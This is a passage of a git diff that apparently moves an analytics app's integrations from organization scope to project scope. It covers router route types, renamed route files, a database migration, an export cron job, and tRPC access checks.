| '/$organizationId/$projectId/profiles'
| '/$organizationId/$projectId/reports/$reportId'
@@ -1014,18 +1014,17 @@ export interface FileRouteTypes {
| '/$organizationId/$projectId/settings'
| '/$organizationId/account/email-preferences'
| '/$organizationId/account/two-factor'
- | '/$organizationId/integrations/available'
- | '/$organizationId/integrations/installed'
| '/$organizationId/members/invitations'
| '/$organizationId/members/members'
| '/$organizationId/account/'
- | '/$organizationId/integrations/'
| '/$organizationId/members/'
| '/$organizationId/$projectId/cohorts/$cohortId'
| '/$organizationId/$projectId/events/conversions'
| '/$organizationId/$projectId/events/events'
| '/$organizationId/$projectId/events/stats'
| '/$organizationId/$projectId/groups/$groupId'
+ | '/$organizationId/$projectId/integrations/available'
+ | '/$organizationId/$projectId/integrations/installed'
| '/$organizationId/$projectId/notifications/notifications'
| '/$organizationId/$projectId/notifications/rules'
| '/$organizationId/$projectId/profiles/$profileId'
@@ -1041,6 +1040,7 @@ export interface FileRouteTypes {
| '/$organizationId/$projectId/settings/tracking'
| '/$organizationId/$projectId/settings/widgets'
| '/$organizationId/$projectId/events/'
+ | '/$organizationId/$projectId/integrations/'
| '/$organizationId/$projectId/notifications/'
| '/$organizationId/$projectId/profiles/'
| '/$organizationId/$projectId/settings/'
@@ -1086,13 +1086,13 @@ export interface FileRouteTypes {
| '/$organizationId/$projectId/seo'
| '/$organizationId/$projectId/sessions'
| '/$organizationId/account'
- | '/$organizationId/integrations'
| '/$organizationId/members'
| '/onboarding/$projectId/connect'
| '/onboarding/$projectId/verify'
| '/$organizationId/$projectId'
| '/$organizationId/$projectId/dashboards/$dashboardId'
| '/$organizationId/$projectId/events'
+ | '/$organizationId/$projectId/integrations'
| '/$organizationId/$projectId/notifications'
| '/$organizationId/$projectId/profiles'
| '/$organizationId/$projectId/reports/$reportId'
@@ -1100,8 +1100,6 @@ export interface FileRouteTypes {
| '/$organizationId/$projectId/settings'
| '/$organizationId/account/email-preferences'
| '/$organizationId/account/two-factor'
- | '/$organizationId/integrations/available'
- | '/$organizationId/integrations/installed'
| '/$organizationId/members/invitations'
| '/$organizationId/members/members'
| '/$organizationId/$projectId/cohorts/$cohortId'
@@ -1109,6 +1107,8 @@ export interface FileRouteTypes {
| '/$organizationId/$projectId/events/events'
| '/$organizationId/$projectId/events/stats'
| '/$organizationId/$projectId/groups/$groupId'
+ | '/$organizationId/$projectId/integrations/available'
+ | '/$organizationId/$projectId/integrations/installed'
| '/$organizationId/$projectId/notifications/notifications'
| '/$organizationId/$projectId/notifications/rules'
| '/$organizationId/$projectId/profiles/$profileId'
@@ -1169,8 +1169,6 @@ export interface FileRouteTypes {
| '/_app/$organizationId/$projectId/sessions'
| '/_app/$organizationId/account'
| '/_app/$organizationId/account/_tabs'
- | '/_app/$organizationId/integrations'
- | '/_app/$organizationId/integrations/_tabs'
| '/_app/$organizationId/members'
| '/_app/$organizationId/members/_tabs'
| '/_steps/onboarding/$projectId/connect'
@@ -1179,6 +1177,8 @@ export interface FileRouteTypes {
| '/_app/$organizationId/$projectId/dashboards_/$dashboardId'
| '/_app/$organizationId/$projectId/events'
| '/_app/$organizationId/$projectId/events/_tabs'
+ | '/_app/$organizationId/$projectId/integrations'
+ | '/_app/$organizationId/$projectId/integrations/_tabs'
| '/_app/$organizationId/$projectId/notifications'
| '/_app/$organizationId/$projectId/notifications/_tabs'
| '/_app/$organizationId/$projectId/profiles'
@@ -1189,12 +1189,9 @@ export interface FileRouteTypes {
| '/_app/$organizationId/$projectId/settings/_tabs'
| '/_app/$organizationId/account/_tabs/email-preferences'
| '/_app/$organizationId/account/_tabs/two-factor'
- | '/_app/$organizationId/integrations/_tabs/available'
- | '/_app/$organizationId/integrations/_tabs/installed'
| '/_app/$organizationId/members/_tabs/invitations'
| '/_app/$organizationId/members/_tabs/members'
| '/_app/$organizationId/account/_tabs/'
- | '/_app/$organizationId/integrations/_tabs/'
| '/_app/$organizationId/members/_tabs/'
| '/_app/$organizationId/$projectId/cohorts_/$cohortId'
| '/_app/$organizationId/$projectId/cohorts_/$cohortId/_tabs'
@@ -1203,6 +1200,8 @@ export interface FileRouteTypes {
| '/_app/$organizationId/$projectId/events/_tabs/stats'
| '/_app/$organizationId/$projectId/groups_/$groupId'
| '/_app/$organizationId/$projectId/groups_/$groupId/_tabs'
+ | '/_app/$organizationId/$projectId/integrations/_tabs/available'
+ | '/_app/$organizationId/$projectId/integrations/_tabs/installed'
| '/_app/$organizationId/$projectId/notifications/_tabs/notifications'
| '/_app/$organizationId/$projectId/notifications/_tabs/rules'
| '/_app/$organizationId/$projectId/profiles/$profileId'
@@ -1219,6 +1218,7 @@ export interface FileRouteTypes {
| '/_app/$organizationId/$projectId/settings/_tabs/tracking'
| '/_app/$organizationId/$projectId/settings/_tabs/widgets'
| '/_app/$organizationId/$projectId/events/_tabs/'
+ | '/_app/$organizationId/$projectId/integrations/_tabs/'
| '/_app/$organizationId/$projectId/notifications/_tabs/'
| '/_app/$organizationId/$projectId/profiles/_tabs/'
| '/_app/$organizationId/$projectId/settings/_tabs/'
@@ -1386,13 +1386,6 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdMembersRouteImport
parentRoute: typeof AppOrganizationIdRoute
}
- '/_app/$organizationId/integrations': {
- id: '/_app/$organizationId/integrations'
- path: '/integrations'
- fullPath: '/$organizationId/integrations'
- preLoaderRoute: typeof AppOrganizationIdIntegrationsRouteImport
- parentRoute: typeof AppOrganizationIdRoute
- }
'/_app/$organizationId/account': {
id: '/_app/$organizationId/account'
path: '/account'
@@ -1477,6 +1470,13 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdProjectIdNotificationsRouteImport
parentRoute: typeof AppOrganizationIdProjectIdRoute
}
+ '/_app/$organizationId/$projectId/integrations': {
+ id: '/_app/$organizationId/$projectId/integrations'
+ path: '/integrations'
+ fullPath: '/$organizationId/$projectId/integrations'
+ preLoaderRoute: typeof AppOrganizationIdProjectIdIntegrationsRouteImport
+ parentRoute: typeof AppOrganizationIdProjectIdRoute
+ }
'/_app/$organizationId/$projectId/events': {
id: '/_app/$organizationId/$projectId/events'
path: '/events'
@@ -1512,13 +1512,6 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdMembersTabsRouteImport
parentRoute: typeof AppOrganizationIdMembersRoute
}
- '/_app/$organizationId/integrations/_tabs': {
- id: '/_app/$organizationId/integrations/_tabs'
- path: '/integrations'
- fullPath: '/$organizationId/integrations'
- preLoaderRoute: typeof AppOrganizationIdIntegrationsTabsRouteImport
- parentRoute: typeof AppOrganizationIdIntegrationsRoute
- }
'/_app/$organizationId/account/_tabs': {
id: '/_app/$organizationId/account/_tabs'
path: '/account'
@@ -1624,13 +1617,6 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdMembersTabsIndexRouteImport
parentRoute: typeof AppOrganizationIdMembersTabsRoute
}
- '/_app/$organizationId/integrations/_tabs/': {
- id: '/_app/$organizationId/integrations/_tabs/'
- path: '/'
- fullPath: '/$organizationId/integrations/'
- preLoaderRoute: typeof AppOrganizationIdIntegrationsTabsIndexRouteImport
- parentRoute: typeof AppOrganizationIdIntegrationsTabsRoute
- }
'/_app/$organizationId/account/_tabs/': {
id: '/_app/$organizationId/account/_tabs/'
path: '/'
@@ -1652,20 +1638,6 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdMembersTabsInvitationsRouteImport
parentRoute: typeof AppOrganizationIdMembersTabsRoute
}
- '/_app/$organizationId/integrations/_tabs/installed': {
- id: '/_app/$organizationId/integrations/_tabs/installed'
- path: '/installed'
- fullPath: '/$organizationId/integrations/installed'
- preLoaderRoute: typeof AppOrganizationIdIntegrationsTabsInstalledRouteImport
- parentRoute: typeof AppOrganizationIdIntegrationsTabsRoute
- }
- '/_app/$organizationId/integrations/_tabs/available': {
- id: '/_app/$organizationId/integrations/_tabs/available'
- path: '/available'
- fullPath: '/$organizationId/integrations/available'
- preLoaderRoute: typeof AppOrganizationIdIntegrationsTabsAvailableRouteImport
- parentRoute: typeof AppOrganizationIdIntegrationsTabsRoute
- }
'/_app/$organizationId/account/_tabs/two-factor': {
id: '/_app/$organizationId/account/_tabs/two-factor'
path: '/two-factor'
@@ -1715,6 +1687,13 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdProjectIdNotificationsTabsRouteImport
parentRoute: typeof AppOrganizationIdProjectIdNotificationsRoute
}
+ '/_app/$organizationId/$projectId/integrations/_tabs': {
+ id: '/_app/$organizationId/$projectId/integrations/_tabs'
+ path: '/integrations'
+ fullPath: '/$organizationId/$projectId/integrations'
+ preLoaderRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsRouteImport
+ parentRoute: typeof AppOrganizationIdProjectIdIntegrationsRoute
+ }
'/_app/$organizationId/$projectId/events/_tabs': {
id: '/_app/$organizationId/$projectId/events/_tabs'
path: '/events'
@@ -1750,6 +1729,13 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdProjectIdNotificationsTabsIndexRouteImport
parentRoute: typeof AppOrganizationIdProjectIdNotificationsTabsRoute
}
+ '/_app/$organizationId/$projectId/integrations/_tabs/': {
+ id: '/_app/$organizationId/$projectId/integrations/_tabs/'
+ path: '/'
+ fullPath: '/$organizationId/$projectId/integrations/'
+ preLoaderRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsIndexRouteImport
+ parentRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsRoute
+ }
'/_app/$organizationId/$projectId/events/_tabs/': {
id: '/_app/$organizationId/$projectId/events/_tabs/'
path: '/'
@@ -1855,6 +1841,20 @@ declare module '@tanstack/react-router' {
preLoaderRoute: typeof AppOrganizationIdProjectIdNotificationsTabsNotificationsRouteImport
parentRoute: typeof AppOrganizationIdProjectIdNotificationsTabsRoute
}
+ '/_app/$organizationId/$projectId/integrations/_tabs/installed': {
+ id: '/_app/$organizationId/$projectId/integrations/_tabs/installed'
+ path: '/installed'
+ fullPath: '/$organizationId/$projectId/integrations/installed'
+ preLoaderRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsInstalledRouteImport
+ parentRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsRoute
+ }
+ '/_app/$organizationId/$projectId/integrations/_tabs/available': {
+ id: '/_app/$organizationId/$projectId/integrations/_tabs/available'
+ path: '/available'
+ fullPath: '/$organizationId/$projectId/integrations/available'
+ preLoaderRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsAvailableRouteImport
+ parentRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsRoute
+ }
'/_app/$organizationId/$projectId/groups_/$groupId/_tabs': {
id: '/_app/$organizationId/$projectId/groups_/$groupId/_tabs'
path: '/groups/$groupId'
@@ -1995,6 +1995,42 @@ const AppOrganizationIdProjectIdEventsRouteWithChildren =
AppOrganizationIdProjectIdEventsRouteChildren,
)
+interface AppOrganizationIdProjectIdIntegrationsTabsRouteChildren {
+ AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute
+ AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute
+ AppOrganizationIdProjectIdIntegrationsTabsIndexRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsIndexRoute
+}
+
+const AppOrganizationIdProjectIdIntegrationsTabsRouteChildren: AppOrganizationIdProjectIdIntegrationsTabsRouteChildren =
+ {
+ AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute:
+ AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute,
+ AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute:
+ AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute,
+ AppOrganizationIdProjectIdIntegrationsTabsIndexRoute:
+ AppOrganizationIdProjectIdIntegrationsTabsIndexRoute,
+ }
+
+const AppOrganizationIdProjectIdIntegrationsTabsRouteWithChildren =
+ AppOrganizationIdProjectIdIntegrationsTabsRoute._addFileChildren(
+ AppOrganizationIdProjectIdIntegrationsTabsRouteChildren,
+ )
+
+interface AppOrganizationIdProjectIdIntegrationsRouteChildren {
+ AppOrganizationIdProjectIdIntegrationsTabsRoute: typeof AppOrganizationIdProjectIdIntegrationsTabsRouteWithChildren
+}
+
+const AppOrganizationIdProjectIdIntegrationsRouteChildren: AppOrganizationIdProjectIdIntegrationsRouteChildren =
+ {
+ AppOrganizationIdProjectIdIntegrationsTabsRoute:
+ AppOrganizationIdProjectIdIntegrationsTabsRouteWithChildren,
+ }
+
+const AppOrganizationIdProjectIdIntegrationsRouteWithChildren =
+ AppOrganizationIdProjectIdIntegrationsRoute._addFileChildren(
+ AppOrganizationIdProjectIdIntegrationsRouteChildren,
+ )
+
interface AppOrganizationIdProjectIdNotificationsTabsRouteChildren {
AppOrganizationIdProjectIdNotificationsTabsNotificationsRoute: typeof AppOrganizationIdProjectIdNotificationsTabsNotificationsRoute
AppOrganizationIdProjectIdNotificationsTabsRulesRoute: typeof AppOrganizationIdProjectIdNotificationsTabsRulesRoute
@@ -2249,6 +2285,7 @@ interface AppOrganizationIdProjectIdRouteChildren {
AppOrganizationIdProjectIdIndexRoute: typeof AppOrganizationIdProjectIdIndexRoute
AppOrganizationIdProjectIdDashboardsDashboardIdRoute: typeof AppOrganizationIdProjectIdDashboardsDashboardIdRoute
AppOrganizationIdProjectIdEventsRoute: typeof AppOrganizationIdProjectIdEventsRouteWithChildren
+ AppOrganizationIdProjectIdIntegrationsRoute: typeof AppOrganizationIdProjectIdIntegrationsRouteWithChildren
AppOrganizationIdProjectIdNotificationsRoute: typeof AppOrganizationIdProjectIdNotificationsRouteWithChildren
AppOrganizationIdProjectIdProfilesRoute: typeof AppOrganizationIdProjectIdProfilesRouteWithChildren
AppOrganizationIdProjectIdReportsReportIdRoute: typeof AppOrganizationIdProjectIdReportsReportIdRoute
@@ -2283,6 +2320,8 @@ const AppOrganizationIdProjectIdRouteChildren: AppOrganizationIdProjectIdRouteCh
AppOrganizationIdProjectIdDashboardsDashboardIdRoute,
AppOrganizationIdProjectIdEventsRoute:
AppOrganizationIdProjectIdEventsRouteWithChildren,
+ AppOrganizationIdProjectIdIntegrationsRoute:
+ AppOrganizationIdProjectIdIntegrationsRouteWithChildren,
AppOrganizationIdProjectIdNotificationsRoute:
AppOrganizationIdProjectIdNotificationsRouteWithChildren,
AppOrganizationIdProjectIdProfilesRoute:
@@ -2340,42 +2379,6 @@ const AppOrganizationIdAccountRouteWithChildren =
AppOrganizationIdAccountRouteChildren,
)
-interface AppOrganizationIdIntegrationsTabsRouteChildren {
- AppOrganizationIdIntegrationsTabsAvailableRoute: typeof AppOrganizationIdIntegrationsTabsAvailableRoute
- AppOrganizationIdIntegrationsTabsInstalledRoute: typeof AppOrganizationIdIntegrationsTabsInstalledRoute
- AppOrganizationIdIntegrationsTabsIndexRoute: typeof AppOrganizationIdIntegrationsTabsIndexRoute
-}
-
-const AppOrganizationIdIntegrationsTabsRouteChildren: AppOrganizationIdIntegrationsTabsRouteChildren =
- {
- AppOrganizationIdIntegrationsTabsAvailableRoute:
- AppOrganizationIdIntegrationsTabsAvailableRoute,
- AppOrganizationIdIntegrationsTabsInstalledRoute:
- AppOrganizationIdIntegrationsTabsInstalledRoute,
- AppOrganizationIdIntegrationsTabsIndexRoute:
- AppOrganizationIdIntegrationsTabsIndexRoute,
- }
-
-const AppOrganizationIdIntegrationsTabsRouteWithChildren =
- AppOrganizationIdIntegrationsTabsRoute._addFileChildren(
- AppOrganizationIdIntegrationsTabsRouteChildren,
- )
-
-interface AppOrganizationIdIntegrationsRouteChildren {
- AppOrganizationIdIntegrationsTabsRoute: typeof AppOrganizationIdIntegrationsTabsRouteWithChildren
-}
-
-const AppOrganizationIdIntegrationsRouteChildren: AppOrganizationIdIntegrationsRouteChildren =
- {
- AppOrganizationIdIntegrationsTabsRoute:
- AppOrganizationIdIntegrationsTabsRouteWithChildren,
- }
-
-const AppOrganizationIdIntegrationsRouteWithChildren =
- AppOrganizationIdIntegrationsRoute._addFileChildren(
- AppOrganizationIdIntegrationsRouteChildren,
- )
-
interface AppOrganizationIdMembersTabsRouteChildren {
AppOrganizationIdMembersTabsInvitationsRoute: typeof AppOrganizationIdMembersTabsInvitationsRoute
AppOrganizationIdMembersTabsMembersRoute: typeof AppOrganizationIdMembersTabsMembersRoute
@@ -2418,7 +2421,6 @@ interface AppOrganizationIdRouteChildren {
AppOrganizationIdSettingsRoute: typeof AppOrganizationIdSettingsRoute
AppOrganizationIdIndexRoute: typeof AppOrganizationIdIndexRoute
AppOrganizationIdAccountRoute: typeof AppOrganizationIdAccountRouteWithChildren
- AppOrganizationIdIntegrationsRoute: typeof AppOrganizationIdIntegrationsRouteWithChildren
AppOrganizationIdMembersRoute: typeof AppOrganizationIdMembersRouteWithChildren
}
@@ -2428,8 +2430,6 @@ const AppOrganizationIdRouteChildren: AppOrganizationIdRouteChildren = {
AppOrganizationIdSettingsRoute: AppOrganizationIdSettingsRoute,
AppOrganizationIdIndexRoute: AppOrganizationIdIndexRoute,
AppOrganizationIdAccountRoute: AppOrganizationIdAccountRouteWithChildren,
- AppOrganizationIdIntegrationsRoute:
- AppOrganizationIdIntegrationsRouteWithChildren,
AppOrganizationIdMembersRoute: AppOrganizationIdMembersRouteWithChildren,
}
diff --git a/apps/start/src/routes/_app.$organizationId.integrations._tabs.available.tsx b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.available.tsx
similarity index 79%
rename from apps/start/src/routes/_app.$organizationId.integrations._tabs.available.tsx
rename to apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.available.tsx
index d9c66d13a..71f94be10 100644
--- a/apps/start/src/routes/_app.$organizationId.integrations._tabs.available.tsx
+++ b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.available.tsx
@@ -2,7 +2,7 @@ import { AllIntegrations } from '@/components/integrations/all-integrations';
import { createFileRoute } from '@tanstack/react-router';
export const Route = createFileRoute(
- '/_app/$organizationId/integrations/_tabs/available',
+ '/_app/$organizationId/$projectId/integrations/_tabs/available',
)({
component: Component,
});
diff --git a/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.index.tsx b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.index.tsx
new file mode 100644
index 000000000..132dd083f
--- /dev/null
+++ b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.index.tsx
@@ -0,0 +1,17 @@
+import { createFileRoute, redirect } from '@tanstack/react-router';
+
+export const Route = createFileRoute(
+ '/_app/$organizationId/$projectId/integrations/_tabs/',
+)({
+ component: Component,
+ beforeLoad({ params }) {
+ throw redirect({
+ to: '/$organizationId/$projectId/integrations/installed',
+ params,
+ });
+ },
+});
+
+function Component() {
+ return null;
+}
diff --git a/apps/start/src/routes/_app.$organizationId.integrations._tabs.installed.tsx b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.installed.tsx
similarity index 80%
rename from apps/start/src/routes/_app.$organizationId.integrations._tabs.installed.tsx
rename to apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.installed.tsx
index f55928297..796905da3 100644
--- a/apps/start/src/routes/_app.$organizationId.integrations._tabs.installed.tsx
+++ b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.installed.tsx
@@ -2,7 +2,7 @@ import { ActiveIntegrations } from '@/components/integrations/active-integration
import { createFileRoute } from '@tanstack/react-router';
export const Route = createFileRoute(
- '/_app/$organizationId/integrations/_tabs/installed',
+ '/_app/$organizationId/$projectId/integrations/_tabs/installed',
)({
component: Component,
});
diff --git a/apps/start/src/routes/_app.$organizationId.integrations._tabs.tsx b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.tsx
similarity index 65%
rename from apps/start/src/routes/_app.$organizationId.integrations._tabs.tsx
rename to apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.tsx
index 27ea87a54..f652542f1 100644
--- a/apps/start/src/routes/_app.$organizationId.integrations._tabs.tsx
+++ b/apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.tsx
@@ -1,35 +1,22 @@
-import FullPageLoadingState from '@/components/full-page-loading-state';
import { PageHeader } from '@/components/page-header';
import { Tabs, TabsList, TabsTrigger } from '@/components/ui/tabs';
import { usePageTabs } from '@/hooks/use-page-tabs';
-import { PAGE_TITLES, createOrganizationTitle } from '@/utils/title';
+import { PAGE_TITLES, createProjectTitle } from '@/utils/title';
import { Outlet, createFileRoute, useRouter } from '@tanstack/react-router';
export const Route = createFileRoute(
- '/_app/$organizationId/integrations/_tabs',
+ '/_app/$organizationId/$projectId/integrations/_tabs',
)({
component: Component,
- loader: async ({ context, params }) => {
- const organization = await context.queryClient.fetchQuery(
- context.trpc.organization.get.queryOptions({
- organizationId: params.organizationId,
- }),
- );
- return { organization };
- },
- head: ({ loaderData }) => {
+ head: () => {
return {
meta: [
{
- title: createOrganizationTitle(
- PAGE_TITLES.INTEGRATIONS,
- loaderData?.organization?.name,
- ),
+ title: createProjectTitle(PAGE_TITLES.INTEGRATIONS),
},
],
};
},
- pendingComponent: FullPageLoadingState,
});
function Component() {
diff --git a/apps/start/src/routes/_app.$organizationId.integrations._tabs.index.tsx b/apps/start/src/routes/_app.$organizationId.integrations._tabs.index.tsx
deleted file mode 100644
index 7e2ed4a51..000000000
--- a/apps/start/src/routes/_app.$organizationId.integrations._tabs.index.tsx
+++ /dev/null
@@ -1,18 +0,0 @@
-import { redirect } from '@tanstack/react-router';
-import { createFileRoute } from '@tanstack/react-router';
-
-export const Route = createFileRoute(
- '/_app/$organizationId/integrations/_tabs/',
-)({
- component: Component,
- beforeLoad: ({ params }) => {
- throw redirect({
- to: '/$organizationId/integrations/installed',
- params,
- });
- },
-});
-
-function Component() {
- return null;
-}
diff --git a/apps/worker/src/jobs/cron.flush-exports.ts b/apps/worker/src/jobs/cron.flush-exports.ts
index a3a45f502..ddfa535f7 100644
--- a/apps/worker/src/jobs/cron.flush-exports.ts
+++ b/apps/worker/src/jobs/cron.flush-exports.ts
@@ -90,14 +90,27 @@ export async function flushExportsJob(_job: Job) {
return;
}
- // Integrations are org-scoped, so every active project in the org exports
- // independently (each gets its own watermark + object path).
+ // Project-scoped integrations export exactly their one project. Legacy
+ // org-wide integrations (projectId == null) still fan out across every active
+ // project in the org. Either way each (project, integration) pair gets its own
+ // watermark + object path.
const items: Array<{
projectId: string;
integrationId: string;
config: ExportConfig;
}> = [];
for (const integration of exportIntegrations) {
+ const config = integration.config as ExportConfig;
+
+ if (integration.projectId) {
+ items.push({
+ projectId: integration.projectId,
+ integrationId: integration.id,
+ config,
+ });
+ continue;
+ }
+
const projects = await db.project.findMany({
where: { organizationId: integration.organizationId, deleteAt: null },
select: { id: true },
@@ -106,7 +119,7 @@ export async function flushExportsJob(_job: Job) {
items.push({
projectId: project.id,
integrationId: integration.id,
- config: integration.config as ExportConfig,
+ config,
});
}
}
diff --git a/packages/db/prisma/migrations/20260623092702_integration_project_scope/migration.sql b/packages/db/prisma/migrations/20260623092702_integration_project_scope/migration.sql
new file mode 100644
index 000000000..37c33032e
--- /dev/null
+++ b/packages/db/prisma/migrations/20260623092702_integration_project_scope/migration.sql
@@ -0,0 +1,11 @@
+-- AlterTable
+ALTER TABLE "public"."integrations" ADD COLUMN "projectId" TEXT;
+
+-- CreateIndex
+CREATE INDEX "integrations_organizationId_idx" ON "public"."integrations"("organizationId");
+
+-- CreateIndex
+CREATE INDEX "integrations_projectId_idx" ON "public"."integrations"("projectId");
+
+-- AddForeignKey
+ALTER TABLE "public"."integrations" ADD CONSTRAINT "integrations_projectId_fkey" FOREIGN KEY ("projectId") REFERENCES "public"."projects"("id") ON DELETE CASCADE ON UPDATE CASCADE;
diff --git a/packages/db/prisma/schema.prisma b/packages/db/prisma/schema.prisma
index f7796dd9e..ab7777c7c 100644
--- a/packages/db/prisma/schema.prisma
+++ b/packages/db/prisma/schema.prisma
@@ -293,6 +293,7 @@ model Project {
gscConnection GscConnection?
cohorts Cohort[]
exportWatermarks ExportWatermark[]
+ integrations Integration[]
// When deleteAt > now(), the project will be deleted
deleteAt DateTime?
@@ -625,12 +626,19 @@ model Integration {
config Json
organization Organization @relation(fields: [organizationId], references: [id], onDelete: Cascade)
organizationId String
+ // When set, the integration is scoped to a single project; null = legacy
+ // org-wide (applies to every project in the org). organizationId is kept
+ // (derived from the project on create) so org-level queries/cascades still work.
+ project Project? @relation(fields: [projectId], references: [id], onDelete: Cascade)
+ projectId String?
notificationRules NotificationRule[]
notifications Notification[]
exportWatermarks ExportWatermark[]
createdAt DateTime @default(now())
updatedAt DateTime @default(now()) @updatedAt
+ @@index([organizationId])
+ @@index([projectId])
@@map("integrations")
}
diff --git a/packages/db/src/services/notification.service.ts b/packages/db/src/services/notification.service.ts
index 9348a4849..f63097214 100644
--- a/packages/db/src/services/notification.service.ts
+++ b/packages/db/src/services/notification.service.ts
@@ -49,6 +49,7 @@ export const BASE_INTEGRATIONS: Integration[] = [
type: APP_NOTIFICATION_INTEGRATION_ID,
},
organizationId: '',
+ projectId: null,
},
{
id: EMAIL_NOTIFICATION_INTEGRATION_ID,
@@ -59,6 +60,7 @@ export const BASE_INTEGRATIONS: Integration[] = [
type: EMAIL_NOTIFICATION_INTEGRATION_ID,
},
organizationId: '',
+ projectId: null,
},
];
diff --git a/packages/integrations/src/slack.ts b/packages/integrations/src/slack.ts
index 2fadd009c..996d1f9db 100644
--- a/packages/integrations/src/slack.ts
+++ b/packages/integrations/src/slack.ts
@@ -31,7 +31,8 @@ export const slackInstaller = SLACK_CLIENT_ID
export const getSlackInstallUrl = ({
integrationId,
organizationId,
-}: { integrationId: string; organizationId: string }) => {
+ projectId,
+}: { integrationId: string; organizationId: string; projectId: string }) => {
if (!SLACK_CLIENT_ID) {
throw new Error('SLACK_CLIENT_ID is not set (slack.ts)');
}
@@ -43,7 +44,7 @@ export const getSlackInstallUrl = ({
'team:read',
],
redirectUri: SLACK_OAUTH_REDIRECT_URL,
- metadata: JSON.stringify({ integrationId, organizationId }),
+ metadata: JSON.stringify({ integrationId, organizationId, projectId }),
});
};
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index dadc8112e..804993f41 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -16,11 +16,42 @@ import {
zCreateSlackIntegration,
zCreateWebhookIntegration,
} from '@openpanel/validation';
-import { getOrganizationAccess } from '../access';
+import { getOrganizationAccess, getProjectAccess } from '../access';
import { TRPCForbiddenError, TRPCBadRequestError } from '../errors';
import { createTRPCRouter, protectedProcedure } from '../trpc';
import { validate as validateJavaScriptTemplate } from '@openpanel/js-runtime';
+// Assert the user can access the project, and return the project's
+// organizationId (still stored on the integration for org-level queries/cascades).
+async function assertProjectAccessAndGetOrg(userId: string, projectId: string) {
+ const access = await getProjectAccess({ userId, projectId });
+ if (!access) {
+ throw new TRPCForbiddenError('You do not have access to this project');
+ }
+ const project = await db.project.findUniqueOrThrow({
+ where: { id: projectId },
+ select: { organizationId: true },
+ });
+ return project.organizationId;
+}
+
+// Access check for an existing integration of either scope: project-scoped rows
+// check project access; legacy org-wide rows (projectId null) check org access.
+async function assertIntegrationAccess(
+ userId: string,
+ integration: { projectId: string | null; organizationId: string },
+) {
+ const access = integration.projectId
+ ? await getProjectAccess({ userId, projectId: integration.projectId })
+ : await getOrganizationAccess({
+ userId,
+ organizationId: integration.organizationId,
+ });
+ if (!access) {
+ throw new TRPCForbiddenError('You do not have access to this integration');
+ }
+}
+
export const integrationRouter = createTRPCRouter({
get: protectedProcedure
.input(z.object({ id: z.string() }))
@@ -31,23 +62,27 @@ export const integrationRouter = createTRPCRouter({
},
});
- const access = await getOrganizationAccess({
- userId: ctx.session.userId,
- organizationId: integration.organizationId,
- });
-
- if (!access) {
- throw new TRPCForbiddenError('You do not have access to this project');
- }
+ await assertIntegrationAccess(ctx.session.userId, integration);
return integration;
}),
list: protectedProcedure
- .input(z.object({ organizationId: z.string() }))
- .query(async ({ input }) => {
+ .input(z.object({ projectId: z.string() }))
+ .query(async ({ input, ctx }) => {
+ const organizationId = await assertProjectAccessAndGetOrg(
+ ctx.session.userId,
+ input.projectId,
+ );
+
const integrations = await db.integration.findMany({
where: {
- organizationId: input.organizationId,
+ // The project's own integrations, plus legacy org-wide integrations
+ // (projectId null) so they stay visible/selectable during the
+ // transition off org-scoping.
+ OR: [
+ { projectId: input.projectId },
+ { projectId: null, organizationId },
+ ],
config: {
not: {},
},
@@ -58,49 +93,51 @@ export const integrationRouter = createTRPCRouter({
}),
createOrUpdateSlack: protectedProcedure
.input(zCreateSlackIntegration)
- .mutation(async ({ input }) => {
- if (input.id) {
- const res = await db.integration.update({
- where: {
- id: input.id,
- organizationId: input.organizationId,
- },
- data: {
- name: input.name,
- // This is empty and will be filled by the webhook
- config: {} as ISlackConfig,
- },
- });
-
- return {
- ...res,
- slackInstallUrl: await getSlackInstallUrl({
- integrationId: res.id,
- organizationId: input.organizationId,
- }),
- };
- }
+ .mutation(async ({ input, ctx }) => {
+ const organizationId = await assertProjectAccessAndGetOrg(
+ ctx.session.userId,
+ input.projectId,
+ );
- const res = await db.integration.create({
- data: {
- name: input.name,
- organizationId: input.organizationId,
- // This is empty and will be filled by the webhook
- config: {} as ISlackConfig,
- },
- });
+ const res = input.id
+ ? await db.integration.update({
+ where: {
+ id: input.id,
+ organizationId,
+ },
+ data: {
+ name: input.name,
+ // This is empty and will be filled by the webhook
+ config: {} as ISlackConfig,
+ },
+ })
+ : await db.integration.create({
+ data: {
